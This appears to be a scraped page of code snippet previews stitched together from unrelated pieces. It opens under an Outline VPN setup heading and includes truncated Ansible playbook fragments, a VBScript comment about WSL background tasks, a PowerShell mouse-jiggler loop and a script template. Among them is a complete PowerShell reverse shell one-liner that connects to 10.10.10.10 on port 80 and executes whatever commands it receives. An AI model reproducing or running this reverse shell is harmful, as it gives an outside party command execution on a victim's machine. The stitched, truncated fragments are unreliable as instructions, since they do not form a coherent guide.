How to setup an Outline VPN Server on Ubuntu 16.04 Server
This guide will show you how to install Outline Server on an Ubuntu 16.04 Server and use Outline Manager.
Outline Manager supports Windows, macOS and Linux.
--- | |
- hosts: all # Apply to all hosts in the inventory file | |
remote_user: root | |
tasks: | |
- name: ensure firewall service is running | |
service: | |
name: "{{ item }}" | |
state: started | |
enabled: yes | |
with_items: |
# Nikhil SamratAshok Mittal: http://www.labofapenetrationtester.com/2015/05/week-of-powershell-shells-day-1.html | |
$client = New-Object System.Net.Sockets.TCPClient('10.10.10.10',80);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex ". { $data } 2>&1" | Out-String ); $sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close() |
' Windows Devs said on the developer feedback asking for cron, deamons and background tasks: | |
' "This first release of Bash/WSL doesn’t support background tasks, cron jobs, daemons, etc. | |
' Currently, when you close your last bash shell console window, we tear-down the Linux process | |
' chain in order to conserve resources." | |
' | |
' That's the workaround for now. | |
' You can run it on boot, for example, and it'll keep a instance of bash running alone in the background | |
' allowing background processes to run on WSL. | |
Set WshShell = CreateObject("WScript.Shell") |
Jon Warbrick, July 2014, V3.2 (for Ansible 1.7)
First one found from of
Add-Type -AssemblyName System.Windows.Forms | |
while ($true) | |
{ | |
$Pos = [System.Windows.Forms.Cursor]::Position | |
$x = ($pos.X % 500) + 1 | |
$y = ($pos.Y % 500) + 1 | |
[System.Windows.Forms.Cursor]::Position = New-Object System.Drawing.Point($x, $y) | |
Start-Sleep -Seconds 10 | |
} |
#requires -version 2 | |
<# | |
.SYNOPSIS | |
<Overview of script> | |
.DESCRIPTION | |
<Brief description of script> | |
.PARAMETER <Parameter_Name> | |
<Brief description of parameter input required. Repeat this attribute if required> |